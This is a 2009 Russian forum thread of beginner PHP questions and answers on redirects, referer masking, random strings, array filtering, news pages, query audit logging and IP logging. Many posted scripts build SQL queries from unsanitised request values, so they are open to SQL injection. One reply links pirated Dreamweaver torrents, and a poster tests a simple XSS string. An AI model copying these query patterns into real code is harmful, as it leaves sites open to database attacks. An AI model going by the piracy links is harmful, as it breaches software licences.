
AkyHa_MaTaTa voodoo programming xD

AkyHa_MaTaTa
26.01.2009, 13:03
function redict($red)
{
if(!headers_sent()){
header("Location: $red");
exit;
}
}


Кричит что header() уже послан
как все таки послать хедер
можно еще буферизировать вывод, вызывай функцию до любых выводов в браузер(пробел это тоже вывод в браузер).

kik8888
26.01.2009, 13:39
ob_start();
в начале кода припиши

ikolla$$
26.01.2009, 15:36
Вот столкнулся с проблемой,нужно подеменить реферер.
Вобщем растолкую =)
Есть на сайте ссылка вида:

<a href = "http://internet.ru">Hu!!!</a>

Проблема: нужно чтобы при переходе с моего сайта по ссылке,на конечном сайте был другой реферер,не мой сайт.Кто чем поможет?

AkyHa_MaTaTa
26.01.2009, 16:00
Вот столкнулся с проблемой,нужно подеменить реферер.
Вобщем растолкую =)
Есть на сайте ссылка вида:

<a href = "http://internet.ru">Hu!!!</a>

Проблема: нужно чтобы при переходе с моего сайта по ссылке,на конечном сайте был другой реферер,не мой сайт.Кто чем поможет?
Рефферер, при клике по сылке устанавливаеться браузерам, и тебе до него не добраться, можно использовать промежуточный хост

<a href = "http://dor.ru">Hu!!!</a>// кликнули
window.location="http://internet.ru"// перенаправили c dor.ru на internet.ru

Есть еще вариант с JavaAplet, но ип хоста internet.ru должен быть как и у твоего сайта,и то страница с internet.ru загружаться не будет.

ikolla$$
26.01.2009, 16:08
Спасибо,разобрался с помощью извращенства =)

Chaak
26.01.2009, 17:27
Чем Flash хуже?

Qam
26.01.2009, 17:40
Какой функцией воспользоваться чтобы скрипт конектился к нужному юрл?Нужно для передачи тому юрл в гет запросе разных ранных!

[dei]
26.01.2009, 17:46
$answer = file_get_contents('http://www.google.com/search?q=antichat');
echo $answer;

oRb
26.01.2009, 17:46
Qam, в зависимости от кофигурации сервера:
http://ru2.php.net/fopen
http://ru.php.net/file_get_contents
http://ru2.php.net/curl
http://ru.php.net/manual/ru/function.fsockopen.php

Qam
26.01.2009, 18:02
оRb и [dei] пасиб большое!Буду изучать!

geforce
26.01.2009, 18:54
В чем ошибка не могу понять!!!
Есть код
<?php
// ïîäãðóæàì íóæíûå ôàéëû
include("db.php");
include("function.php");
// ïåðåäà¸ì ïåðåìåííûå
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}
if (isset($_POST['che'])) { $che = $_POST['che'];}
if (isset($_POST['name'])) { $namech = $_POST['name'];}

if ($che == 1) {
$s_file = $adres; //Файл исходник
$razm = getimagesize($adres);
$widthch= $razm[0];
$heigthch = $razm[1];
$imch = imagecreatetruecolor($widthch,$heigthch);
imagejpeg($imch,"fotos/ch_".$namech);
imagedestroy($imch);
$r_file="fotos/ch_".$namech; //Куда сохранить результат
echo "$s_file<br>";
echo $r_file;
wb($s_file,$r_file); //Запускаем функцию преобразования картинки
/* Функция для преобразования цветной картинки в черно-белую */
function wb($file1,$file2) {
//Получаем данные о картинке (высота и ширина)
list($width, $height) = getimagesize($file1);
// Начинаем работу над исходником
$source = imagecreatefromjpeg($file1);
$bwimage= imagecreate($width, $height);
//Создаем 256 цветную палитру
for ($c=0;$c<256;$c++)
{
$palette[$c] = imagecolorallocate($bwimage,$c,$c,$c);
}
//Функция для преобразования rgb-пикселей в черно-белый цвет
function yiq($r,$g,$b)
{
return (($r*0.299)+($g*0.587)+($b*0.114));
}
//Считываем цветовые пиксели (один за другим)
for ($y=0;$y<$height;$y++)
{
for ($x=0;$x<$width;$x++)
{
$rgb = imagecolorat($source,$x,$y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;

//А здесь мы преобразуем все цветные пиксели в черно-белые с помощью функции yiq
$gs = yiq($r,$g,$b);
imagesetpixel($bwimage,$x,$y,$palette[$gs]);
}
}
// Сохраняем нашу получившуюся картинку
imagejpeg($bwimage,$file2);
imagedestroy($bwimage);
}
}
// çàïðîñ ê áàçå
$q = "SELECT * FROM data WHERE id='$vibor'";
$result1 = mysql_query($q,$db);
if (!$result1) {
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0) {
//âûòàñêèâàåì ïóòè ê êàðòèíêàì
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//óçíàåì ðåàëüíûé ðàçìåð êàðòèíîê
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//ñîçäàåì ïåðåìåíûå ñ ðàçìåðàìè
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//ñîçäàåì ïóñòóþ êàðòèíêó ñ ðàçìåðàìè êîòîðûå âûøå
$im = imagecreatetruecolor($width, $heigth);
//ñîçäàåì â ïàìÿòè âñå êàðòèíêè
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//êîïèðóåì âñå íà ïîëîòíî
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
// çàêðóãë¸íûå êðàÿ
if ($zak == 1) {
ugolki ($im);
}
// ñîõðàíåíèå àâàòàðà
imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
printf("<img src='avatar/$name' alt=''/><br><a href='get.php?file=avatar/$name'>ñîõðàíèòü</a>");
?>

Пишет:

Fatal error: Call to undefined function wb() in G:\home\img.ru\www\end.php on line 23

Pashkela
26.01.2009, 19:01
Функцию вынеси из if и просто пропиши где-нибудь с самого начала сверху. В таком коде, чтобы не путаться, лучше отделить от всех условий, а еще лучше вообще в отдельный файл

AkyHa_MaTaTa
26.01.2009, 19:04
ну краса, сначало используешь функцию,а потом обьявляешь

wb($s_file,$r_file); //Запускаем функцию преобразования картинки
/* Функция для преобразования цветной картинки в черно-белую */
function wb($file1,$file2) {

rudvil
26.01.2009, 19:06
По идее функцию нужно вызывать после её создания,а не до...

Pashkela
26.01.2009, 19:07
2 AkyHa_MaTaTa & rudvil:

https://forum.antichat.ru/showpost.php?p=1080722&postcount=8191

AkyHa_MaTaTa
26.01.2009, 19:25
2Pashkela я о том что читабельность кода просто краса, а по поводу

В PHP 3 функции должны были быть определены прежде, чем они будут использованы. Начиная с PHP 4 такого ограничения нет, исключая тот случай, когда функции определяются условно.

,я сталкивался с такой фигней в одном плагине к wp, и читать 400 строчек такого кода просто биг гемор(а там инклюд с фунукциями был в самом низу).

kevmen
26.01.2009, 22:58
здравствуйте,пытаюсь перевести в hex

вот скрипт,но делаю что-то не так,подскажите,буду благодарен
<?php

if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
exit();
}
else
echo ($_POST['a']<10) ? "0x".$_POST['a'] : "0x".chr($_POST['a']-10+65);
?>

prescott
26.01.2009, 23:11
<?php

if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
exit();
}
else
echo bin2hex($_POST['a'])
?>

kevmen
26.01.2009, 23:14
спасибо!)

geforce
26.01.2009, 23:36
Pashkela

AkyHa_MaTaTa

Спасибо!!!
Проблема заключалась в последвательности функций в коде! Скоро выложу демо версию своего скрипта зацените! ;) ;) ;)

kevmen
27.01.2009, 15:56
Приветствую :)
Все еще работают с функциями и переводами
вот код
<?php

if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
}
else
{
$htmlentities=htmlentities($_POST['a']);
echo $htmlentities;
}
?>
Но у меня он выводит символ,хотя должен выводить представление
:) Что не так делаю?

m0nsieur
27.01.2009, 16:25
Да все верно, только ты не забывай, что браузер обратно конвертирует в символ твое представление, а если увидеть результат хочешь, попробуй запиши его в БД или в файл.

rudvil
27.01.2009, 16:31
Приветствую :)
Все еще работают с функциями и переводами
вот код
<?php

if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
}
else
{
$htmlentities=htmlentities($_POST['a']);
echo $htmlentities;
}
?>
Но у меня он выводит символ,хотя должен выводить представление
:) Что не так делаю?
А причем здесь "submit"? он никогда не будет иссет это ведь кнопка,проверяй на иссет $_POST['a']

Byrger
27.01.2009, 16:44
А не подскажите как написать скрипт который допустим будет запускатся раз в 4 дня и чистить таблицу MySQL от записей которые старее 3дней (в таблице есть поле date)


И ещё вопрос есть массив $a=array(1,2,3,0,0);
Как можно очистить его от нулей?

159932
27.01.2009, 16:44
А причем здесь "submit"? он никогда не будет иссет это ведь кнопка,проверяй на иссет $_POST['a']
данеужели?
чтото мне так не кажется :D

Корвин
27.01.2009, 16:47
данеужели?
чтото мне так не кажется :D

+1, если у сабмита будет value и name , то value передасца

kevmen
27.01.2009, 16:52
m0nsieur,спасибо)проверил по другому
Создал 2файла
один с htmlentities,другой без, ввел <script>alert(/aaa/)</script>Проверка
Первый вывел : Проверка
Второй Проверка да еще +выполнился скрипт)

kevmen
27.01.2009, 16:53
rudvil,Я проверяю нажата ли кнопка!!!


+1, если у сабмита будет value и name , то value передасца
Да,тут все просто))если она есть)то не выдается форма,если нет,то выдается форма,это обычная перменная!

m0nsieur
27.01.2009, 17:11
А не подскажите как написать скрипт который допустим будет запускатся раз в 4 дня и чистить таблицу MySQL от записей которые старее 3дней (в таблице есть поле date)


И ещё вопрос есть массив $a=array(1,2,3,0,0);
Как можно очистить его от нулей?

1. Повесь скрипт на cron который будет вызываться каждые 4 дня.

2. Попробуй так.
$a=array(1,2,3,0,0);
$b = array();
$i=0;
foreach ($a as $value) {
if($value != 0) {
$b[$i] = $value;
$i++;
}
}
print_r($b);

oRb
27.01.2009, 17:20
2. Попробуй так.
$a=array(1,2,3,0,0);
$b = array();
$i=0;
foreach ($a as $value) {
if($value != 0) {
$b[$i] = $value;
$i++;
}
}
print_r($b);

Неее, пробовать не надо)
Правильно так:
<?php
$a = array(1, 2, 3, 0, 0);
foreach($a as $key => $value)
if($value == 0)
unset($a[$key]);
var_dump($a);
?>

groundhog
27.01.2009, 17:22
Зачем выдумывать велосипед, когда за вас уже всё выдумали:

function non_zero($var) {
return ($var != 0);
}


$array = array(1, 2, 3, 0, 0);

print_r(array_filter($array, "non_zero"));

rudvil
27.01.2009, 17:40
данеужели?
чтото мне так не кажется :D
Ой точно, вот намутил... извиняюсь. =[

ANTIJABBER
27.01.2009, 20:25
Ребята, как сделать рандомное 16 символьное выражение? из букв и цифр?

Chaak
27.01.2009, 20:40
function genPass($len, $mix = '')
{
$alpha = 'qwertyuiopasdfghjklzxcvbnm1234567890'; #алфавит
$result = ''; #результат

$alpha .= $mix; #добавляем доп. символы

for($i = 0, $alphlen = strlen($alpha); $i < $len; $i++) #добавляем в цикле случайные символы
$result .= $alpha{mt_rand(0, $alphlen - 1)}; #случайное число из алфавита

return $result; #возвращаем результат
}
echo genPass(16);

prescott
27.01.2009, 20:41
Ребята, как сделать рандомное 16 символьное выражение? из букв и цифр?


function random_word($count) {
$arr = array('a','b','c','d','e','f',
'g','h','i','j','k','l',
'm','n','o','p','r','s',
't','u','v','x','y','z',
'A','B','C','D','E','F',
'G','H','I','J','K','L',
'M','N','O','P','R','S',
'T','U','V','X','Y','Z',
'1','2','3','4','5','6',
'7','8','9','0');

$word = "";
for($i = 0; $i < $number; $i++)
{
$index = rand(0, count($arr) - 1);
$word .= $arr[$index];
}
return $word;
}

echo random_word(16);


Не самое красивое решение, зато простое и интуитивно понятное, щас дам еще второй вариант.

UPD: опоздал, но сейчас все равно напишу второй вариант, самому пригодится.


<?php
function random_word($count) {

$word="";

for ($i=0; $i<$count; $i++) {
do {
$rand=mt_rand(0,66)+65;
if ($rand>122) $rand=$rand-74;
} while ($rand>90 && $rand<97);

$word.=chr($rand);
}

return $word;
}

echo random_word(100);
?>


В процессе написания понял, что этот вариант будет сложнее, но тоже рабочий =)

-m0rgan-
27.01.2009, 23:07
Ре адепты!
Помогите плиз с пхп кодом!
Кароче цель такова:
На главную страницу сайта выводятся "краткие новости"
Мне нужно, чтобы при нажатие на ссылку "подробнее" выводилась полная новость, ну думаю вы поняли о чем я...
И так, мои дейстия:
делаю ссылку в цикле главной страници:
<?
include"config.php";
{
$query = "SELECT * FROM news order by id desc LIMIT 0,100000"; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'<table style="border: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td align="center" background="images/button.jpg" height="22">
<table style="border-bottom: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td width="100%" align="left"><CENTER><b>'.$row['name'].'</b></CENTER></b></td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px;"><noindex><center><tr>
<td colspan="2" style="padding: 4px;">
'.$row['text'].'
<div align="right">
<div>&nbsp;</div>
<div>&nbsp;</div>
Автор:
<b>bug1z</b>&nbsp;|&nbsp;
<a href="news.php?id='.$row['id'].'"><b>подробнее</b></a>
</div></td></center></td>
</tr>

<tr>
<td colspan="2" style="padding: 4px;">
<div align="right">
</div></td>
</tr>
</tbody></table>
<div>&nbsp;</div>';
endwhile;
}
?>
затем создаю файл news.php с циклом следуйщего содержания:

<?
include"config.php";
$id=$GET['id']; {
if($id)
echo $news;
$query = "SELECT * FROM news where id=".$id; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'<table style="border: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td align="center" background="images/button.jpg" height="22">
<table style="border-bottom: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td width="100%" align="left"><CENTER><b>'.$row['name'].'</b></CENTER></b></td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px;"><noindex><center><tr>
<td colspan="2" style="padding: 4px;">
'.$row['text2'].'
<div align="right">
<div>&nbsp;</div>
<div>&nbsp;</div>
Автор:
<b>bug1z</b>&nbsp;|&nbsp;
</div></td></center></td>
</tr>

<tr>
<td colspan="2" style="padding: 4px;">
<div align="right">
</div></td>
</tr>
</tbody></table>
<div>&nbsp;</div>';
endwhile;
}
?>

В итоге не выводится ни новость, ни таблица :(
В чем проблема?
Зарание спасибо!

kraken
28.01.2009, 00:04
Ошибка в том что $_GET["id"] а не $GET["id"]

Red_Red1
28.01.2009, 00:05
2 -m0rgan-
Первый код полностью рабочий! Если нет смотри подключение к базе.
Он не может ничего не выводить, что то должен либо верно, либо ошибку, так вот вопрос КАКУЮ ошибку у тебя выводит?
Второй код ошибка ммм... скорее оЧеПятка :) вот тут
$id=$GET['id'];
нужно
$id=$_GET['id'];
Потом не совсем ясно зачем у тебя СРАЗУ за этой строкой открыта скобка {
Если по логике она должна быть после
if ($id) {
Ну и последнее, я конечно не знаю что у тебя в config.php
но откуда у тебе берется значение переменной
$news в строке echo $news;
если не откуда то выдаст ошибку
Notice: Undefined variable: news in ...

kraken
28.01.2009, 00:06
На будущее при компилировании выводи все промежуточные данные.Сразу будешь видеть где ошибка

-m0rgan-
28.01.2009, 00:17
Не помогло=(
Первый код пашет, все там гуд :)
А вот во втором ошибку ни какую не выводит,там, вапше ничего не выводит, ни новости, ни таблички, в которой должна выводтися овость, такое впечетление, что цыкл вапще не обрабатуется :(
Конфиг:
<?
$link = mysql_connect(localhost, bug1z, test) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(arthacking) or die('Нельзя выбрать базу ('.mysql_error().')');
?>

kraken
28.01.2009, 00:27
Выводи значения $id и строку для скул запроса и убедись что нет ошибок.

Pashkela
28.01.2009, 00:32
include"config.php";
{



include"config.php";
$id=$GET['id']; {



endwhile;
}


Это чо за скобочки фигурные??? К чему они относятся?

http://ru.php.net/while

+

в начало каждого кода вставь:


@ini_set("display_errors","1");

geforce
28.01.2009, 04:13
Есть у кого примерчик кода добовления текста к кортинке??

159932
28.01.2009, 04:23
http://il2.php.net/ImageTTFText

diznt
28.01.2009, 17:27
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>

в Peremenue.php код:


<?php
b = 2;
c = 4;
?>

В первом случае код будет исполняться? то есть сложиться без проблем и выведется?

159932
28.01.2009, 17:32
мм.. да.
только вот в начале переменных, надо ставить рубль - $

diznt
28.01.2009, 17:33
159932 а да точно :D забыл
и еще где можно достать открытый пхп чекер PR? чек PR желательно токо одного сайта

ikolla$$
28.01.2009, 17:49
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>
оО
а что такое: a,b

-m0rgan-
28.01.2009, 17:59
Ну а эт кагбе сума б и ц ;-)

kraken
28.01.2009, 18:10
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>
оО
а что такое: a,b
o_O и это работает?

svesve
28.01.2009, 18:14
Всем привет,появилась необходимость сделать небольшой аудит бд.
т.е. на каждое изменение делать наобх записи в таблице аудита.
тригерры не катят т.к. в одном триггере нельзя выполнить неск дейтвий(н-р 2..-10 инсертов) да и таблицы такие разные что под каждую надо писать свой триггер:
формат ввода данных в аудит такой
INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='название табицы',`column`='колонка которая изменилась',`pk`='примари кей табл',`oldvalue`='',`newvalue`=$_POST[user_id]"

приведу конкретный пример(запрос в бд)
"INSERT INTO holidays (id,user_id,date_start,date_finish,type_id,audit_i d)
VALUES('','$_POST[user_id]','$_POST[date_start]',
'$_POST[date_finish]','$_POST[holidays_type]',
'$_SESSION[user_id]')";
отправка в аудит:
$audit="INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='holidays',`column`='user_id',`pk`='id',`o ldvalue`='',
`newvalue`=$_POST[user_id]";
$audit2="INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='holidays',`column`='С',`pk`='id',`oldval ue`='',
`newvalue`='$_POST[date_start]'";
$audit3="INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='holidays',`column`='По',`pk`='id',`oldv alue`='',
`newvalue`='$_POST[date_finish]'"
........
Дак вот думаю реально ли написать функцию которой на вход мы будем подавать сам запрос в таблицу а она уже (через регулярки или еще как) будет инсертить в аудит и выдирать поля,значения и действия...И САМОЕ ГЛАВНОЕ чтоб это было практически универсально для каждой таблицы...у кого какие домыслы,поделитесь!?

Ru}{eeZ
28.01.2009, 18:38
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>


С какого это времени у нас переменные без знака "$" объявляются?!

diznt
28.01.2009, 18:46
Ru}{eeZ читай начало страницы

desTiny
28.01.2009, 19:37
svesve, а почему-бы не записывать сами запросы в файл?

svesve
28.01.2009, 20:37
svesve, а почему-бы не записывать сами запросы в файл?
а смысл? всеравно надо выводить как-то весь аудит на просмотр,а с файлами замучаешься...да и опять же для каждой таблицы надо конкретно свое,а тут нужна универсальность )

MaTpOc
28.01.2009, 20:42
Парни, очень нужен Dreamweaver CS3!
Но его оч трудно найти в нете, мне друг дал сыль я качнул а он гад хз почему не пошел((((
Мб кто даст еще сылку на хороший Dreamweaver CS3?!
//или кто-нить скинет мне корневую папку DW?
//блин помогите, уже 2 неделю мучаюсь((((
ЗЫ: Другие проги не предлогать!
//стоит ХР SP3

AkyHa_MaTaTa
28.01.2009, 20:44
2 svesve напиши класс для работы с Бд и выполняй все гвери через него, уже в самом классе можешь создать метод который будет производить все действи с аудитом при гверях.

rushter
28.01.2009, 20:49
Парни, очень нужен Dreamweaver CS3!
Но его оч трудно найти в нете, мне друг дал сыль я качнул а он гад хз почему не пошел((((
Мб кто даст еще сылку на хороший Dreamweaver CS3?!
//или кто-нить скинет мне корневую папку DW?
//блин помогите, уже 2 неделю мучаюсь((((
ЗЫ: Другие проги не предлогать!
//стоит ХР SP3
Че хоть искать его он на каждом шагу валяется
http://thepiratebay.org/torrent/4668187/Adobe_Dreamweaver_CS4_Multilanguage
http://thepiratebay.org/torrent/4574771/Dreamweaver_CS3_(without_Keygen)
Не советую его юзать :)
Качай PHP Designer самый оптимальный вариант для тебя

mff
28.01.2009, 21:14
MaTpOc, не гони, ищи Adobe ® Creative Suite 3 Web Premium Rus

http://www.google.com/search?ie=UTF-8&hl=ru&q=Adobe%20%C2%AE%20Creative%20Suite%203%20Web%20Pr emium%20Rus%20%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82 %D1%8C

desTiny
28.01.2009, 21:19
а смысл? всеравно надо выводить как-то весь аудит на просмотр,а с файлами замучаешься...да и опять же для каждой таблицы надо конкретно свое,а тут нужна универсальность )
почему? просто записывай все запросы к бд в файл. а если нужны только изменения, то только insert, update и тп.

и будет у тебя файл с контентом

12.01.09 21:00 INSERT INTO `TABLE1` VALUES(1, 2, 3)
12.01.09 21:00 UPDATE `TABLE2` SET `COUNT`=`COUNT`+1


Тебе надо всего лишь задать свою mysql_query (назовём её m_query), которая будет делть запрос, а потом записывать его в файл.
Можешь дописать, чтобы после каждого запроса вызывался SELECT, чтобы прочитать получившиеся значения, если нужно.

Mirella
28.01.2009, 21:20
<?
include("../configs/db_connect_x.php");
if (ereg("[<>\\/-]",$act)) {print "?!"; exit();
}
$act=htmlspecialchars($act);
$sql = "SELECT * FROM userx WHERE login='$user'";
$result = mysql_query($sql);
$db = mysql_fetch_array($result);

$room=$db["room"];
if($room == "Западный Лес")
{
$fexp=$db['forest_exp'];
if($db['forest_exp']>1000)
{
$plus=1;
}
else{$plus=0;
}
if (ereg("[<>\\/-]",$level)) {print "?!"; exit();
}
$level=htmlspecialchars($level);

if($db["loc_work"] == '0')
{
if(empty($act))
{
$act = "show";
}
if($act == "none")
{
$act = "show";
}
}
else{if(empty($act))
{
$act = "work";
}
if($act == "none")
{
$act = "work";
}
}
if($act=="show")
{
?>

<div align=right><a href=forest.php?act=loc>Локация</a></div>
<table border=0 cellpadding=0 width=40% align=center>
<TR>
<td width=22></td>
<TD>
<table cellpadding=0 cellspacing=0 border=1 width=100% bordercolor=black>
<tr><td width=24>&nbsp</td>
<td><b>Порода</b></td>
<td><b>Кол-во</b></td>
<td><b>Шанс</b></td>
<td><b>Срублено</b></td></tr>
<?
$fores = mysql_query("SELECT * FROM forest");
while($F = mysql_fetch_array($fores))
{
$fid=$F['id'];
$fname=$F['name'];
$fkolvo=$F['kolvo'];
$fimg=$F['img'];
$fpercent=$F['percent']+$plus;
$fores2 = mysql_query("SELECT fokolvo FROM inventary WHERE owner='$user' and object_type='forest' and object_id='$fid'");
$W2 = mysql_fetch_array($fores2);
if(!$W2){$h_kol=0;
}
else
{
$h_kol=$W2['fokolvo'];
}
echo "<tr><td width=24><img src=$fimg border=1></td>
<td>$fname</td>
<td>$fkolvo</td>
<td>$fpercent%</td>
<td>$h_kol</td></tr>";
}
?>
</table>
</td>
<td width=22></td>
</tr></table><center><br><b>Опыт Лесоруба:<? echo"$fexp"; ?></b><br><form name=work action='forest.php?act=work' method='POST'><img src=check.php><br><input type="text" name="check" class="field" size="10" maxlength="3" style="filter:alpha(Opacity=80);"><br><input type=button value='Рубить' class=ad onClick='this.disabled = true;forest()'></form>
<?
}
if($act=="work")
{
if($db["loc_work"] == '0')
{
if(isset($_POST['check']) && (isset($_SESSION['check']) || isset($_SESSION['check'])))
{
if(strtolower($_POST['check'])==$_SESSION['check'])
{
$work_time=5*60+time();
$res=mysql_query("UPDATE userx SET loc_work='$work_time', loc_work_pg='forest' WHERE login='$user'");
echo "<script>location.href=\"forest.php?act=work\";</script>";
die();
}
else{
echo "<center><font color=red><b>Неверный защитный код!</b></font><br><input type=button value='Вернуться' class=ad onClick='location.href=\"forest.php\"'></center>";
die();
}
}else{
print"fig";
}
}
else {
$wait_sec_w=$db["loc_work"];
$now_w=time();
$left_time_w=$wait_sec_w-$now_w;
$left_min_w=floor($left_time_w/60);
$left_sec_w=$left_time_w-$left_min_w*60;
if($db["loc_work"]>$now_w)
{
echo "<br><center>Вы ещё в процессе работы. <br>Осталось $left_min_w мин. $left_sec_w сек.<br><input type=button value='Обновить' class=ad onClick='location.href=\"forest.php\"'></center>";
}
else {
$res_n = rand(1,6);
$fores3 = mysql_query("SELECT percent,name,kolvo,umenie FROM forest WHERE id='$res_n'");
$F2 = mysql_fetch_array($fores3);
}
if($shans<$F2['percent'])
{
$tree=$F2['name'];
$for_exp=$db['forest_exp']+$F2['umenie'];
if($F2['kolvo']>=1)
{
$new_kolvo=$F2['kolvo']-1;
echo "<br><center>Вы срубили \"$tree\".<br>";
$upd=mysql_query("UPDATE forest SET kolvo='$new_kolvo' WHERE id='$res_n'");
$upd2=mysql_query("UPDATE userx SET forest_exp='$for_exp' WHERE login='$user'");
$fores4 = mysql_query("SELECT fokolvo FROM inventary WHERE owner='$user' and object_type='forest' and object_id='$res_n'");
$W = mysql_fetch_array($fores4);
if(!$W)
{
$upd=mysql_query("INSERT INTO inventary(owner,object_id,object_type,object_razde l,fokolvo) VALUES('$user','$res_n','forest','resourses','1')");}
else {
$newkol=$W['kollvo']+1;
$upd=mysql_query("UPDATE inventary SET fokolvo='$newkol' WHERE owner='$user' and object_type='forest' and object_id='$res_n'");}
$res=mysql_query("UPDATE userx SET loc_work='0', loc_work_pg='' WHERE login='$user'");
die();
}
else {
echo "<br><center>Дерево оказалось трухлявым...<br><input type=button value='Обновить' class=ad onClick='location.href=\"forest.php?act=show\"'></center>";
$res=mysql_query("UPDATE userx SET loc_work='0', loc_work_pg='' WHERE login='$user'");
die();
}
}
}

?>

1 в чём ошибка? не работает вообще (
2. правильные ли запросы к бд
3. скрипт должен выводить кнопку с капчей и названием рубить и идёт отсчёт времени после которого выводится срубленное дерево.

Nightmarе
29.01.2009, 06:23
Помогите реализовать простенькую задачку.
Значит есть скрипт: lol.php к которому постоянно обращяются скажем так 16 Ip адресов с промежутком 7 секунд.
Этот скрипт должен записать рядом в файл ip.txt все Ip адреса, но на экран он должен вывести Ip адреса, которые обращялись к скрипту за последние 5 минут, причём повторяющихся IP быть не должно.
Собственно как это сделать не используя баз данных? Всё сделать в одном файле ip.txt, думаю удобнее будет к Ip адресу дописывать дату коннекта и отфильтровывать при выводе на экран.
Но вот как реализовать... хз.
Кому не сложно помогите.

blaga
29.01.2009, 06:54
Mirella, а файл что в начале подключаеться есть? с БД все в порядке? она заполнена нужными данными? Запросы вроде правильные.

Nightmarе, в скрипте пишешь в самом начале сохранение в файл переменную окружения REMOTE_ADDR и дату со временем.

После просто при существований переменной look например выводить последние ип, правда что то в голову не лезет как сделать отбор лишних айпишников, но это решаемо. Для начала сделай что бы он тебе хоть в файл писал.
Ну а с БД было бы на порядок удобнее и легче. Выводить проще.

bombeg
29.01.2009, 07:21
правда что то в голову не лезет как сделать отбор лишних айпишников
array_unique например.

Nightmarе
29.01.2009, 07:23
спс, желательно пример с реализацией...

bombeg
29.01.2009, 07:43
ip.php
<?php
header('Content-type: text/plain;charset=UTF-8');
$log = 'log.dat';
$time = time();

$fp = fopen($log, 'a');
fputs($fp, "{$_SERVER['REMOTE_ADDR']}:{$time}\n");
fclose($fp);

$ips = file($log);
$print = $time = array();
foreach($ips as $ip)
{
list($_ip, $_time) = explode(':', trim($ip));
$print[$_ip] = $_ip;
$time[$_ip] = $_time;
}
$max_time = time() - 300;
$print = array_reverse($print);
foreach($print as $ip)
{
if($time[$ip] > $max_time) echo $ip, ' посетил страницу в ', date('h:i:s', $time[$ip]), "\n";
}
?>


Посмотри тут http://stas.me/ip.php
log.dat
127.0.0.1:1234567890
127.0.0.2:1234567890
127.0.0.3:1234567890
127.0.0.4:1234567890
127.0.0.1:1234567890
127.0.0.2:1234567890
127.0.0.4:1234567890
127.0.0.5:1234567890
127.0.0.1:1234567890
127.0.0.5:1234567890
127.0.0.5:1234567890
127.0.0.6:1234567890
127.0.0.8:1234567890
127.0.0.5:1234567890
127.0.0.3:1234567890
127.0.0.2:1234567890

Nightmarе
29.01.2009, 07:47
Огромное спасибо!!!!!!!!!!!!!!!

$max_time = time() - 300;
я не знаю что это, но догадываюсь что фильтрация кто был 5 минут назад не более, верно?

bombeg
29.01.2009, 07:49
да.

svesve
29.01.2009, 12:26
почему? просто записывай все запросы к бд в файл. а если нужны только изменения, то только insert, update и тп.

и будет у тебя файл с контентом

12.01.09 21:00 INSERT INTO `TABLE1` VALUES(1, 2, 3)
12.01.09 21:00 UPDATE `TABLE2` SET `COUNT`=`COUNT`+1


Тебе надо всего лишь задать свою mysql_query (назовём её m_query), которая будет делть запрос, а потом записывать его в файл.
Можешь дописать, чтобы после каждого запроса вызывался SELECT, чтобы прочитать получившиеся значения, если нужно.
не не не понимаешь все изменения надо смотреть в вэб интерфейсе....будет таблица вида(время,дата,кто,какую таблицу,какой столбец,что изменилось) +)

Gifts
29.01.2009, 15:18
svesve Вам уже предлагали сделать функцию обертку для стандартного mysql_query


function mysql_logquery($query,$link=null)
{
if (!is_null($link) && is_resource($link)) {$tmp=mysql_query($query,$link);}
else {$tmp=mysql_query($query);}
// тут дополнительные запросы для внесения в таблицу лога, например
$tolog="insert into log (`queries`) values '".mysql_real_escape_string($query)."'";
if (!is_null($link) && is_resource($link)) {@mysql_query($tolog,$link);}
else {@mysql_query($tolog);}

return $tmp; //возвращаем результат оригинального запроса
}

Mixon
29.01.2009, 22:11
